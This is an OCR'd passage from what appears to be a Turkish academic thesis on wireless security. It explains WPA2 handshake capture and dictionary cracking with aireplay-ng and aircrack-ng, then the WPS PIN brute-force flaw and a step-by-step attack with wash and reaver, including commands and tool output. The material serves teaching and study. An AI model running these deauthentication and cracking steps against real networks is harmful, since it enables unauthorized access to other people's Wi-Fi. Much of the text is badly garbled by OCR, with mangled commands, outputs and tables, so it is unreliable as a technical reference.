BSSID PWR RXQ Beacons s & ENC CIPHER AUTH ES

00:1C:A8:DA:13:D¢ E 56 B 5 B WPA2 CCMP PSK sa
BSSID STATION L OSs Packets Probes

00:1C:A8:DA:13:D8 33 54 -5¢ J 2

Sekil 4.21. Airodump’dan paket toplama
Komut 4 : aireplay-ng -0 1 -a 00:1C:A8:DA:13:D8 mon0O

Bu komut hem trafigi hizlandirmak hem de Handshake yakalamak igin (-0 1)
parametreleri modem trafigi hizlandirmak igindir.

-a: WPA2 sifresi kirilacagini belirtiyor.

root@bt:~# airepléy-ng - 1 -a 00:1C:A8:DA:13:D8 _monO

05:52:38 Waiting for beacon frame (BSSID: 00:1C:A8:DPA:13:D8) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).

Sﬁnding DeAuth to broadcast -- BSSID: [00:1C:A8:DA:13:D8]

Sekil 4.22. Handshake yakalamanin baglatilmasi

Handshake: WPA2 sifrelemesinde bilgisayarlarin aga giris yaparken kullandigi
dogrulama islemi. Handshake elde etmek i¢in bir kullanicinin aga bagli olmasi

gerekmektedir

Elapsed: 3 mins ][ 2011-12-10 05:53 WPA handshake: 00:1C:A8:DA:13:D8
PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:1C:A8:DA:13:D8 41 100 796 400 [C] 6 < WRA2. CCMP PSK sarmad

BSSID STATION PWR Rate Lost Packets Probes

00:1C:A8:DA:13:D8 00:22:5F

Sekil 4.23. Handshake durumunun yakalanmasi
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WPA2-01.ivs : Paketleri topladigimiz dosya

Sekil 4.24. Paketlerin toplandig1 dosya

Komut 5 : aircrack-ng -w /root/darkcOde.lst/root/wpa2.01.ivs

Aircrack paket toplama i¢in kullandigimiz “airodump” 1n gelistiricisinden, ¢ok kisa
bir slirede ve az paketle sonuca ulasabiliyor. Bu komut yakalanan Handshake ile
elimizdeki sozlik olan Wordlist.txt kombinasyonlarla karigilastirip sonuca
ulagsmasini saglar.

-w /root/darkcOde.lst : Sifrelerin oldugu liste dosyast

# aircrack-ng w /root/Desktop/darkcO@de.ls

Sekil 4.25. Yakalanan handshake ile mevcut wordlist. txt karsilagtirilmasi

Eger tek bir sonug ¢ikarsa aircrack otomatik olarak kirma ekranina gegecektir.

Aircrack-ng-1.1.r1904
[00:10:38] 867904 keys tested-(1438.93 k#s)

KEY FOUND! [ 5310853509 <:

Master Key = 13 Al 57 DF C5 95 C8 3E 47 DO _OE 34 8A
6C 69 76 4C 82 BB AC 7A 56 47 3B CC 12

Transient Key 3 17 50 7A D9 69 13 ©3 5C 1A AF E4 74 SECE
74e B2 08 E7 FF OF FE AO B8 52 84 6B
Al 73: 1316 17 B8 C5 EI 84 C€B: 59 11 18
6C 68 5D FE 43 4ac 4 AO 4 61

EAPOL HMAC < 83 2 65¢ 7€ 37 AC 5E CcB - 04

Sekil 4.26. WPA?2 i¢in elde edilen sifre
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WPA2 Sifresini Cozmek; WPA2 protokolii kullanan bir agda sifre kirmak igin
teoride ne yapacagimizi anlatalim. Once her zaman oldugu gibi kiracagimiz kablosuz
ag1 belirleyip, kanal bilgisini ve BSSID sini bulacagiz. Daha sonra bu agdaki trafigi
dinleyerek, sifreli paketleri kaydedilecektir. Ardindan bu paketlerin igerisinden bir
“handshake” yakalamaya calisacagiz. Handshake olarak tabir ettigimiz, herhangi bir
kullanicinin WPA?2 sifresini kullanarak aga dahil olmasi, yani aga kabul edilmesidir.
Ya da kendimiz bir handshake yaratmak i¢in Deauthentication atagi yapmayi
deneyecegiz. Bu atak yonteminde en basit anlatimiyla aga bagli olan kullaniciy1
agdan diisiirmeye calisacagiz ki, o yeniden baglanmaya calisirken biz bir handshake
yakalayalim. Isin buraya kadar olan kismi1 imkansiz degil. Giinler boyu ag
dinleyerek sonunda handshake yakalanabilir. Ancak bundan sonrasi biraz tesadiiflere
bagli. Elimizdeki sozliik listesini kullanarak Soézliik (Dictionary) Saldirisi

uygulayacagiz.

4.8.2. WPS destekli kablosuz aglarin WPA/WPA2 saldiris1

Wi-Fi teknolojisine sahip bilgisayar, telefon, kisisel el bilgisayarlar1 gibi cihazlarin
kullanmis oldugu kablosuz ag ortami i¢in ag ayarlamalar1 ve glivenlik gereksinimleri
daha 6nemlidir. WPS destekli gilivenli bir kablosuz ag ortam1 kurulumu resmi olarak

8 Ocak 2007°de yapilmistir [S0].

WPS hem 2.4 GHz (802.11b/g) hem de 5 GHz (802.11a) kablosuz ag
teknolojilerinde Wi-Fi sertifikali cihaz olarak calisabilmektedir. IEEE 802.111 bir
kablosuz ag alani igerisindeki kablosuz veri ve sistem gilivenligi i¢in gerekli olan
anahtar yonetim stratejileri, kimlik denetimi, kriptolama gibi giivenlik standartlarini
belirler. iki tane veri gizlilik protokolii mevcuttur (TKIP ve AES-CCMP). Bunlar,
uygun gizlilik protokoliiniin se¢imi i¢in anlagsma islemi ve her trafik tipi igin bir
anahtar sisteminin belirlenmesidir. TKIP Mesaj Tanimlama Kontrolii (MIC) ve Paket

Basina Anahtarlama (PPK) igerir [51].
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Son yillarda, kablosuz ag giivenlik alaninda Wi-Fi destekli iki giivenlik protokolii
gelistirilmistir. Bunlar, 2003 yilinda Wi-Fi korumali erisim (WPA) ve 2004 yilinda
Wi-fi korumali erisim II (WPA2) protokolleridir. Bu teknolojilerden daha once
kullanilan sistem WEP teknolojisidir. Fakat bu sistemde oldukca ciddi giivenlik
aciklart mevcuttur [52]. Kablosuz aglara erisimi arttirmak i¢in bir anahtar dagitim
sistemi IEEE 802.11i tarafindan uygulanmistir. IEEE 802.11 tekli ve herkese
yayminin trafik tipini ayr1 ayri ele almistir. Cilinkidi bu trafik tiplerinin olusturdugu
giivenlik aciklar1 farkliliklar gostermektedir. Cesitli veri gizlilik protokolleri ve
anahtar dagitimlariyla, IEEE 802.11 uygun gizlilik protokoliiniin se¢imi i¢in anlagsma
islemi ve her trafik tipi i¢in anahtar sisteminin uygulanmasi seklinde iki yapidan

olusur [52].

Wi — Fi Korumali Kurulum (WPS- Wi — Fi Protected Setup)

IEEE 802.111 g¢aligma grubunun asil amaci IEEE 802.1X aglarmin giivenligi
arttirmak ve kontrol etmektir. Diger taraftan, WPS protokolii kablosuz aglardaki
giivenlik i¢in gerekli olan ayarlamalarinin yapilmasi islemini basitlestirmektedir. Bu
protokol kablosuz ag giivenligini ¢ok az bilen ev kullanicilarina hali hazirda mevcut
giivenlik teknolojilerinden yararlanarak (WPA) giivenli bir sekilde kablosuz internet

kullanabilme imkan1 saglar.

WPS’in bazi avantajlar1 agagida siralanmistir [53,54,58]
e Kablosuz aglarin otomatik olarak ayarlamalarin yapar.
e Kablosuz ag adinin (SSID) ve giivenlik anahtarinin bilinmesine gerek yoktur.
e QGiivenlik anahtar1 rastgele tretilir. Boylece, giivenlik anahtarinin tahmin
edilebilme ihtimali azalir ve aga s1izma islemi zorlagir.
e WPS gerekli olan sistem sifresini karmasik olarak iiretir.

e  WPS Genisletilebilir Kimlik Denetim Protokolii (EAP) i¢inde barindirir.
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WPS ’in baz1 dezavantajlar1 asagida siralanmistir.
e WPS sertifikas1 olmayan cihazlar, WPS’in sundugu gelistirilmis giivenlik
avantajlarindan yararlanamaz.
e WPS destegi olmayan cihazlarin WPS’li bir aga dahil olabilmesi i¢in uzun
olan hexadecimal sifrenin kullanici tarafindan girilmesi gerekmektedir.
e WPS Ad Hoc iletisimi desteklemez. Ad Hoc, kullanicilara birbirleri
tizerinden sigrayarak internete erisimi saglayan bir teknolojidir.
e Tiim iletisim, erisim noktalar1 araciligi ile olmalidir.
e WPS teknolojisi olduk¢a yenidir. Bu yiizden suan kullanilan cihazlarin timi
tarafindan desteklenmemektedir.
WPS kurulumun yapilabilmesi i¢in ilk olarak, WPS destekli cihazin iizerinde Sekil
4.27° deki gibi WPS diigmesine basilir.

Sekil 4.27. Yonlendirici ve ya AP iizerindeki WPS diigmesi

WPS’in en yaygin kullanim modu hem kablosuz yonlendirici ve ya adaptorii
tizerindeki (PBC) diigmesine basilmas1 hem de kullanicinin cihazinda bulunan WPS

islemini gerceklestiren diigmeye basilmasi ile aga dahil olunmasi islemidir.

Sekil 4.28. AP iizerindeki PBC diigmesi

Wi-Fi’m 2.28 ve sonrasi1 versiyonu igin getirdigi bir dzelliktir. Ornegin, RN-131,

RN-171 serileri WPS desteklidir [53]. Yonlendirici veya AP {izerinde
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kullanilabilecek olan diger bir methods ise Kisisel Bilgi Numarasidir (PIN). PIN
numarast cihaz iizerindeki etiketin iizerinde olabildigi gibi cihazin ayarlamali i¢in

baglanildig1 ekrandan da elde edilebilir.

Sekil 4.29 bir AP’nin arkasindaki etikette bulunan PIN numarasini gostermektedir.

Ultimate Wireless N Gigabit Router

EA A A
FAEC3RCFAC2C

T TR e |
18674098

Sekil 4.29. Kablosuz cihazlardaki PIN etiketi

PBC metodunda, kullanici yonlendirici yada AP iizerindeki PBC diigmesine
basmalidir. Bir kag dakika sonra kablosuz ag icerisindeki WPS ayarlanmis olacaktir.
WPS PIN metodunda, cihaz iizerindeki PIN numarasi okunur ve ag igerisindeki bu
hizmetten yararlanacak olan cihazlara girilir. ki metot arasindaki temel fark, PIN
metodunda istemcinin cihazina PIN numarasmin girilmesi iken PBC’de boyle bir

durum so6z konusu degildir [55].

PIN metodu, dahili kayit modu ve harici kayit modu olmak iizere iki model igerir.
Dahili kayit modunda, Kullanici AP iizerindeki PIN numarasin1 dogrudan kendi
kullandig1 bilgisayara yada el bilgisayarina girer. Sekil 4.30°da WPS PIN modunun

PIN numarasinin girildigi durum géziikmektedir.

If your client device has a Wi-Fi Protected Setup PIN number,

enter that number here and then click| Register

Sekil 4.30. PIN dahili modunun kayit islemi
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Bu mod AP’nin PIN numarasina erisebilir oldugu durumlarda istemci tarafindan PIN
numarasinin almabilmesi gibi durumlarda kullanilir. Kullanici PIN numarasini kendi
bilgisayarina Sekil 4.30°daki gibi ilgili alana girerek register diigmesine basmalidir.
AP veya istemci ayarlandiktan sonra, daha fazla detay bilgi icin Ok diigmesine

basilmalidir.

WPS ayarlamalarinda PIN metodunun harici modu ii¢ adimdan olusur. Ugiincii mod
istemci cthazi yonlendiricinin PIN numarasini istedigi zaman uygulanir. Kullanic
yonlendiricinin arkasindaki etikette yazan PIN numarasini girmelidir. Daha sonra
detay bilgilere erismek istenirse Ok butonuna basilmalidir. Sonraki sekil harici kayit

olma durumunu gostermektedir (Windows 7 dikkate alinmistir).

To set up a network, type the 8-digit PIN from the router label

You can find the numeric PIN on a label attached to the
router or in the printed information that came from the
manufacturer.

PIN:

Sekil 4.31. Harici PIN Kayaitt1

Aslinda, harici kayit olma segenegi PIN’in sagladigindan bagka kimlik dogrulama
sekline ihtiyag duymaz. Bu durum kaba kuvvet ataklarina karsi potansiyel bir
acikliktir [56,55]. Yonlendirici veya erisim noktast iireten iireticilerden bazilari
Cisco, Linksys, D-Link, Belkin, Buffalo ve ZyXEL’dir. Ornegin, IEEE 802.11n
teknoloji standardini kullanan Kablosuz N600 cift bantli bulut yonlendiricisi (2.4

GHz, 2x2 + 5 GHz 2x2) tiim bilgisayarlarin ve mobil cihazlarin genis banth internet
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baglantis1 ile baglanti saglayan yiiksek hizda bir ag olusturur ve Sekil 4.32°de
gosterildigi gibi WPA&WPA2 WPS PIN/PBC destegi sunar.

Sekil 4.32. Kablosuz N600 ¢ift bantli gigabit bulut yonlendirici

Asagidaki ¢izelge WPS seceneklerini ve kimlik dogrulama modlarin1 géstermektedir.

Cizelge 4.1. WPS Segenekleri ve Kimlik dogrulamalari

Secenek/Kimlik Fiziksel Erisim Web Arayiizii PIN
dogrulama
PBC v
PIN-Dahili Kayit v
PIN- Harici Kayit v

Yonlendirici yada AP {izerindeki PIN numaralar ¢izelge 4.2°de goriildigi gibi yedi

tane sayidan olusur. Son sekizinci Kisim ise hata kontrolii i¢in birakilmistir.

Cizelge 4.2.Y6nlendirici iizerindeki PIN numarasinin goriiniisii

1 2 3 4 5 6 7 0 (Kontrol kism1)

PIN numarasinin 1" Kismi PIN numarasinin 2" kismi

Eger WPS kimlik denetimi basarisiz olursa, AP istegi yapan istemciye bir EAP-
NACK mesaji gonderecektir. WPS sadece yonlendiricinin veya AP’nin PIN’ine
ihtiya¢ duyan harici kayit olarak bilinen bir kimlik denetleme metodu igerir. EAP-
NACK mesajlart saldirganin PIN’in ilk yarisinin dogru olup olmadigina karar

verebilecek sekilde gonderilir. Ayrica, PIN’in son sayisal alani hata kontrol igin
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kullanilir. Bu tasarim PIN’i elde etmek i¢in gerekli olan kaba kuvvet denemelerin

sayist oldukea azaltir.

Viehbock iireticilere yanlis sifre denemelerinden sonra kaba kuvvet ataklarini
uygulanamaz hala getiren yeterli uzunluga sahip bir kilitleme siiresi Onermistir. Son
kullanicilar i¢in, WPS’1 kapatmalarin1 ve eger mevcut ise daha giivenli bir siiriime
yazilimlarmi giincellemesini 6nermektedir. En uygunu olarak, WPA2 sifreleme
algoritmas1 ile gilicli bir sifre kullanilmasi ve sadece giivenli oldugu bilinen
istemcilerin erigimini saglamak i¢cin MAC adres tabanli giivenlik saglamay1

Onermistir [58].

Cizelge 4.3. PIN harici kayit islemindeki IEEE kimlik denetim modlarimi

gostermektedir.
IEEE 802.11
Istek yapan -> AP Kimlik denetimi istegi 802.11 Kimlik
Istek yapan -> AP Kimlik denetim yanit1 denetimi
Istek yapan -> AP Kimlik denetimi istegi 802.11 liskisi
Istek yapan -> AP Kimlik denetim yaniti

IEEE 802.11/EAP (Extensible Authentication Protocol)

Istek yapan -> AP EAPOL-Bagsla
Istek yapan -> AP EAP-Kimlik Istegi EAP Baglamasi
Istek yapan -> AP EAP-Kimlik Istegi
(Kimlik:“WFA-Simple Config-Register-
1-0”)

IEEE 802 ile EAP kapsiilleme 802.1X’in i¢inde tanimlanir ve LAN ya da EAPOL ile
EAP olarak bilinir. EAPOL aslinda 802.1x-2001 icinde 802.3 ethernet teknolojisi
icin tasarlanmigtir. Fakat 802.11 kablosuz ve 802.1X-2004 igerisinde Fiber Dagitimli
Veri Araylizii gibi diger IEEE 802 LAN teknolojileri ile uyumlu olarak ortaya
cikmistir [59].
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EAP kablosuz aglarda veya SOHO ortaminda ve noktadan noktaya baglantilarda
uygulanan kimlik dogrulama sistemidir. EAP’in kulanim alani olduk¢a genistir.
Ornegin, IEEE 802.11 (Wi-Fi) igerisinde WPA ve WPA 2 standartlar1 bes tane EAP
tipiyle IEEE 802.1X olarak kabul edilmistir. AP bir EAP-NACK mesaj1 gonderdigi
zaman, saldirgan AP’nin ya da yonlendiricinin cevabindan PIN numarasinin ilgili
kisimlart hakkinda bilgi edinebilir. Eger saldirgan M4 gonderdikten sonra bir EAP-
NACK mesaj1 alirsa, PIN numarasinin ilk kisminin yanls oldugu anlamaktadir. Eger
saldirgan M6 gonderdikten sonra bir EAP-NACK alirsa, PIN numarasinin ikinci
kisminin yanlis oldugunu anlamaktadir [58]. Cizelge 4.4’te M1..M8 araliginin

tanimlamalar1 yapilmaistir.

Kullanilan terminoloji asagida istenmektedir.
e Kayit olma, kablosuz aga erismek isteyen yeni bir cihazi ifade etmektedir.
e Kayitt1 yapma, kayit olma islemi i¢in gerekli olan kablosuz ag ayarlarin
temin eder.
e Erisim noktasi, kablosuz sunucu imkani saglar ve kayit olma ile kayit yapma

arasindaki mesaj degisimi i¢in vekil gorevi yapar [58].

Cizelge 4.4. IEEE 802.11/EAP tipleri

IEEE 802.11/EAP Expanded Type, Vendor ID: WFA (0x372A), Vendor Type: Simple Config (0x01)

M1 Enrollee-> Register N1|| Description || PKg
M2 Enrollee<- Register N1||N2||Description||PKg||Authenticator Diffie-Hellman Key
Exhchange
M3 Enrollee-> Register N2||E-Hash1||E-Hash2||Authenticator
M4 Enrollee<- Register N1||R-Hash|[R-Hash 2|| E keywrapkev(R-S1)|| Proove Posession of
Authenticator 1* half of PIN

M5 Enrollee-> Register N2||[Exeywrapkey(E-S1)||Authenticator Proove Posession of
1** half of PIN

Me6 Enrollee<- Register N1|[Egeywrapkey(R-S2)||Authenticator Proove Posession of
2" half of PIN

M7 Enrollee-> Register N1 ||Exeywrapkey(E-S2||ConFigData)|| Authenticator | Proove Posession of
2™ half of PIN, send

AP configuration
MS Enrollee<- Register N1 ||Exeywrapkey(ConFigData)|| Authenticator Set AP
configuration
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IEEE 802.11/EAP gelistirilmis tlirtinde, M1 yeni bir cihazin kayit olma ve aga
baglanma istegini ifade eder. M2, Diffie-Hellman anahtar degisimi ile yeni bir cihaza
kablosuz ag ayarlar1 sunar. M3 yeni bir cihazin aga baglanmak istedigi zaman, M4
yeni bir cihazin kayit edilme islemi oldugu zaman ve PIN’in ilk yarisi ile ilgili islem
yapilacagi olusur. M5 yeni bir cihaz kayit olmak istedigi zaman ve PIN’in ikinci
yarisi ile ilgili islem yapilacagi olusur. M6 yeni bir cihaz kayit olmasi ve PIN’in
ikinci yarisi ile ilgili islem yapilacagi zaman olusur. M7 yeni bir cihaz kayit olmak
istedigi ve PIN’in ikinci yarisi ile ilgili islem yapilacagi zaman olusur ve sonunda
AP’nin ayarlamalarini gonderir. M8’de yeni cihazlar yukaridaki sira diizenine gore

kayit edilir ve AP ayarlamalar1 tamamlanir [58].

Cizelge 4.4 deki kisaltilmis ifade ve tanimlamalar Cizelge 4.5’te verilmistir.

Cizelge 4.5. IEEE 802.11/EAP tiplerini kisaltmalarinin agiklamalari

Enrollee=AP PSK1=first 128 bits of
HMAC puhkey(1* half of PIN)
Register= Supplicant=Client/Attacker PSK2=first 128 bits of

HMAC uthiey(2" half of PIN)

Pkg=Diffie-Hellman Public Key Enrollee E-S1= 128 random bits

PKg=Diffie-Hellman Public Key Register | E-S2= 128 random bits

AuthKey and KeyWrapKey are Derived | E-Hashl=HMAC symkey(E-
from Diffie-Hellman Shared key. S1||PSK1||PKg||PKr)

Authenticator= HMACAuthKey (last E-Hash2=HMAC puthkey(E-
message||Current message) S1||PSK1||PKg|[PKR)

EKeyWrapKey=Stuff encrypted with R-S1= 128 random bits
KeyWrapKey(AES-CBC) R-S2= 128 random bits
R-Hash2=HMAC pyhkey(E-
S1||[PSK1||PKg||PKR)
R-Hash2=HMAC synkey(E-
S1|[PSK1||PKg||PKR)
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Kimlik denetleme islemi daha karmasik bir islemdir. Ciinkii, WPS’in bu islemi

¢Ozmesi i¢in yapmasi gereken bir ¢ok sey vardir [59].

Tekrar ataklarini durdurma

Ortak kimlik denetimi saglama

AP ve istemci arasinda sifrelenmis bir kanal yaratma

Cevrim dis1 ataklara kars1 saglam olma

Saldirgan tarafindan PIN numarasinin tahmin edilebilmesi i¢in, takip segenekleri
vardir. Giivenlik sebebiyle dogru PIN numarasini girmek i¢in maksimum bir kimlik
dogrulama sayis1 vardir. Kimlik dogrulamanin bu sekli miimkiin olan maksimum

kimlik denetim denemesini oldukga azaltacaktir.

PIN’in olmasi saldirgana ag ortamina tam yetki ile erisme imkani tanir. Ayrica, PIN
cogu cihaz lizerinde degistirilemeyen bir seydir. Bu sebeple, PIN’in bilinmesi
saldirgana yonetici aga erisim sifresini ya da SSID’yi degistirse bile aga baglanma
imkanm saglar. WPS saldir1 destegi WPA ve WPA2 ye gore bazi avantajlar saglar
[60]:
e  WPS PIN’in olusturulmasi oldukc¢a hizlidir.
e PIN’in bilinmesi yonetici sifreyl degistirse dahi, aninda sifreyi tekrar elde
etme imkan saglar.
e (Cok radyolu erisim noktast (2.4/5 GHz) coklu WPA anahtar1 ile
yapilandirilabilir. Radyolar ayn1 WPS PIN’i kullandig1 i¢in, PIN’in bilinmesi

saldirgana tekrar sifreyi elde etme imkani saglar.

Saldirgan tarafindan PIN numarasinin tahmin edilebilmesi igin, takip secenekleri
vardir. Giivenlik sebebiyle dogru PIN numarasini girmek i¢in maksimum bir kimlik
dogrulama sayis1 vardir. Kimlik dogrulamanin bu sekli miimkiin olan maksimum
kimlik denetim denemesini oldukga azaltacaktir. PIN’in sekiz hanesi her zaman hane
bir ile hane yedinin saglama toplami oldugundan, dogru PIN’i bulmak i¢in gereken

girisim en fazla 10* + 10° =11.000°dir.
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WPS giivenligi, 8 haneli glivenlik kodunu 4 haneli 2 gruba ayirmaktadir. 4 hane ise
toplamda 10.000 olas1 kombinasyon anlamina gelmektedir. Diger ii¢ hane ise 1000
olas1 kombinasyondur son rakamsa Kontrol kism1 i¢in kullanmaktadir. Dolayisiyla 4

yillik siire sadece 1 giine diisiirmektedir

Kisacast 6zel yazilimlar sayesinde (WLAN modemin PIN numarasin1 deneme /
yanilma ile tespit eden araglar) rastgele kombinasyon yontemleri ile birka¢ saat
icinde tespit edilebiliyor. Eger biitiin halinde 8 rakam kombinasyonu olsaydi. Bu
siire¢ giinlerce inmesine sebep olmakta. ilk 4 hane tespit edildikten sonra modem
kars1 tarafa ilk dort rakamin dogru oldugu onaymi aliyor ve diger 4 rakam igin

denemelere basliyor.

WLAN Sifresinin kirilmasi da PIN kodun bilinmesine bagli. Modemin PIN kodu
kirildiktan sonra WLAN sinyalleri sniffer edilerek sifre ne kadar zor olursa olsun, ne
kadar uzun bir sifre olursa olsun birka¢ saat hatta birka¢ dakika icerisinde

kirilabilmektedir [60].

Kaba Kuvvet Saldirisi

Kaba kuvvet atagt PIN sifresini bulmak i¢in ¢ok biiyliik miktarlarda denemeler
yaparak sifrenin elde edilmesini amaclayan bir metottur. Kaba kuvvet saldirisinin
akis semas1 Sekil 6’de gosterilmistir. 802.11 iletisimi basladigi zaman, kaba kuvvet

algoritmas1 AP’ nin dogru PIN numarasini kontrol etmeye baslar [62].
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Sekil 4.33. Kaba kuvvet saldiris1 akis semasi

AP bir EAP-NACK mesaj1 gonderdigi zaman, AP’nin cevabindan PIN numarasinin
iki kisminin dogrulugu ile ilgili bilgiyi saldirgan ele gecirir. Sekil 6’ daki algoritmaya
gore, AP bir EAP-NACK mesaji gonderdigi zaman, saldirgan AP’nin yada
yonlendiricinin cevabindan PIN numarasinin ilgili kistmlar1 hakkinda bilgi edinebilir.
Eger saldirgan M4 gonderdikten sonra bir EAP-NACK mesaj1 alirsa, PIN
numarasimin ilk kisminin yanlis oldugu anlamaktadir. Eger saldirgan M6
gonderdikten sonra bir EAP-NACK alirsa, PIN numarasinin ikinci kisminin yanlis
oldugunu anlamaktadir. Saldirgan PIN numarasinin birinci kisminin yanhs oldugu
bilirse, PIN numarasinin birinci kismi i¢in algoritmanin ¢alismasini arttirir. Ayni
sekilde, Saldirgan PIN numarasinin ikinci kisminin yanlis oldugu bilirse, PIN
numarasinin ikinci kismai i¢in algoritmanin ¢aligmasini arttirir. Sonunda saldirgan M7
degerini alirsa PIN numarasin1 bulmus olur. Bu durum saldirgana yaklasik 10 saatten

daha az bir siire igeresinde olas1 tiim kombinasyonlar1 deneme imkani sunar [58].
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Reaver komut satirinin saldirt adimlari

WPS; PIN’i, kaba kuvvet saldirtya miisaittir. PIN kimlik dogrulamasi i¢cin WPS
sartnamesindeki tasarim catlagi, dnemli ol¢lide tiim PIN’e kaba kuvvet icin gereken

stireyi kisaltir.

Reaver adindaki bir alet, ayn1 konuyu bagimsiz bir sekilde takip eden ikinci bir
arastirmaci tarafindan piyasaya siiriilmiistiir. Reaver, WPS’deki protokol tasarim
catlagin1 kotiiye kullanan Tactical Network Solution tarafindan gelistirilen bir saldiri
aletidir. Bu saldirtya agiklik, agi gilivenli hale getirmek icin kullanilan Pre-Shared
Key (PSK) oOnceden paylasilmis anahtarin c¢ikarilmasina izin veren Kablosuz
Korumal1 Erisime WPA kars1 yan kanal saldirisini ortaya ¢ikarir. Iyi secilmis PSK ile
WPA ve WPA2 giivenlik protokolleri, 802.11 giivenlik toplulugunun biiyiik boliimii

tarafindan giivenli olarak sayilmaktadir.

Saldirmin araci, WPS etkin cihazlarin PIN’i almalar i¢in piyasaya siirilmiistiir ve
genis biz dizi WPS uygulamasina karsi test edilmistir. Neredeyse tiim biyiik
yonlendirici ve erisim noktast saticilar1 WPS belgeli cihazlara sahip oldugundan,
birgok cihaz bu tiir saldirilara agiktir. WPS genelde, varsayilan olarak etkinlestirilir
ve bu saldirtya agikligi daha da kétiilestiren kaba kuvvet saldirilarin1 6nlemek i¢in

herhangi engelleme mekanizmasi olmaksizin uygulanir.

Reaver, bir saldiriya baslamak icin iki girdiye ihtiya¢ duyar: baglamak i¢in kullanilan
arayiiz ve hedefin MAC adresi. Kablosuz adaptére dogrudan eristigi i¢in, dizin koki

olarak calistirilmasi gerekir.

Komut 1: wash —1 mon(

WPA anahtarini ele gecirmek i¢in saldirgan dncelikle monitér modu destekleyen bir
kart ile mevcut kablosuz ag ortamlar1 taranmaktadir. Tarama islemi sonucunda
bulunan WLAN aglarin tespit edip saldir1t moduna gegilebilir. Bunun i¢inde wash -i

kullanilmaktadir.
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root@bt:~# wash -i mon@

Wash v1.4 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

Channel WPS Version WPS=Locked ESSID

KABLOSUZ

Sekil 4.34.wash —i komutu kullanarak hedef tespiti
Komut 2 : reaver —1 monQ —b FC:75:16:E7:50:0A -N

Reaver komutu BackTrack’in 5 R1 versiyonunda kurulu gelmemektedir. Bu yiizden,
kullanilacak olan bu paketin kurulmasi gerekmektedir. Paket internetten indirilerek
BackTrack tlizerine el ile kurulmalidir. Kurulma islemi bittikten sonra reaver komutu
kullanilabilir. Saldirgan hedef agin BSSID degerini ve yayin yaptig1 kanallar1 not
alarak diger bir ara¢ ile PIN numarasini Brute Force (rastgele denemeler) atak

kullanarak kirilmaktadir.

t:~# reaver -i mon@ -b FC:75:16:E7:50:0A -N

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner-<cheffner@tacnetsol.com>

[?] Restore previous session for FC:75:16:E7:50:0A? [n/Y] y

[+] Restored previous session

[+] Waiting for beacon from FC:75:16:E7:50:0A

[+] Associated with FC:75:16:E7:50:0A (ESSID: KABLOSUZ)

[+] 8.15% complete @ 2-05- :32:04 seconds/pin)

[#] omplete @ 2012-05- :32:27 (4 seconds/pin)

[+] :32:48 (4 seconds/pin)

[+] 533 4_seconds/pin)

[+] :33: 4 seconds/pin)

[+] seconds/pin)
)
)
)
)

(o]

[+] seconds/pin
[+]
[+]
[+]

4 seconds/pin
.50% complete ¢ -05- :34: 4 seconds/pin

00 00 00 ©0 0 O 0 0 0o

.55% complete @ 2012-05- :35: 4 seconds/pin

Sekil 4.35. Reaver — 1 kullanarak WPS’ye saldirisinin gergeklestirilmesi
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Modemin WPS o6zelligi kapali bile olsa saldir1 basarili olabilmektedir. WPS PIN

numarasini tespit edilmesi maksimum 10 saat kadar siirmektedir.

Wash v1.4 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

Channel WPS Version WPS. Locked

FC:75:16:E7:50:0A - oE KABLOSUZ
28:10:7B:96:7C:9E - : \ efe

~C
# reaver -i mon2 -b FC:75:16:E7:50:0A

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

Restore previous session for FC:75:16:E7:50:0A7 [n/Y] 'y
Restored previous session

Waiting for beacon from FC:75:16:E7:50:0A

Associated with FC:75:16:E7:50:0A (ESSID: KABLOSUZ)

WPS PIN:

WPA PSK:

Sekil 4.36.Saldir1 sonunda bulunan WPA2 sifresi ve PIN numarasi

Reaver paketi ile yapilan bu saldiriin en biiylik avantajlarindan biri ise, saldirinin
gerceklestirilmesi ile bagslanan siirecin bitene kadar sonlandirilmamas: gibi bir
zorunlulugunun olmamasidir. Saldirtya baslandiktan sonra istenildigi anda saldir1 el
ile sonlandirilip, tekrardan saldir1 islemine kaliman yerden devam edilebilir. Bu

durum saldirgana zaman agisindan esneklik saglar.

Hedef sisteme yapilan saldir1 sonrasinda PIN numarasi elde edildikten sonra, kurban
olan sistem sifreleme algoritmasini ya da sifresini degistirse bile bunun tespit
edilerek yeni sifrenin bulunmasi sadece saniyeler almaktadir. Gerekli olan 6n kosul
sadece bir kez PIN numarasinin tespit edilmesidir. PIN numaras1 degistirilemeyen ve

her cihaz i¢in tek olan bir numaradir.
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Reaver gorselin saldirt adimlar

Reaver acgik kaynak versiyonu komut satirini kullanmaktadir; Reaver, bir saldiriya
baslamak icin iki girdiye ihtiya¢ duyar: Saldir1 yapmak icin kullanilan arayiiz ve
hedefin fiziksel (MAC) adresi. Dikkat edilmesi gereken nokta kablosuz adaptore
dogrudan eristigi icin, dizin kokii (root) olarak calistirilmasi gerekir. Reaver gorselin
amaci akilda tutulmasi zor olan komutlarin yerine daha kullanigli bir arayiiz
saglayarak kullanim kolaylig1 saglamaktir. Bunu yani sira araylizde yapmak
istediginiz iglemleri secip taramayi baslat dediginiz anda size arka planda c¢alisan

kodlar1 gostermesidir.
Reaver’e daha fazla 6zellikler katmak igin bir arayiiz tasarlanmistir, bunlar ;

1. Kablosuz ag kartin1 otomatik olarak aktif moda getirmek. Reaver Gorsel
calistirildiginda otomatik olarak goriintilleme modu arayiizii aktif hale
getiriliyor. Artik airmon_ng komutunu yazmadan program calistirildigi andan
itibaren monitdr 0 ‘dan monitdr 15°a kadar biitiin monitér modlarini izliyor.
Arayiiz her yeniden baslatildiginda monitér modu bir digerine gegiyor.
Bunun bize getirdigi fayda , izlemesi yapilacak olan kablosuz ag kartinin
seciminde yasanan karmagsikligir gidermesidir. Kablosuz ag kartin1 otomatik

olarak kendi segerek bizi bu karmasikliktan kurtariyor.

Mesaj: (monitor mode enabled on mon0)

Sekil 4.37. Kablosuz ag kart1 monitér modunda aktif durumda

2. Izlenmesi gerekli olan kablosuz ag kartin1 sectikten sonra, kablosuz kartin
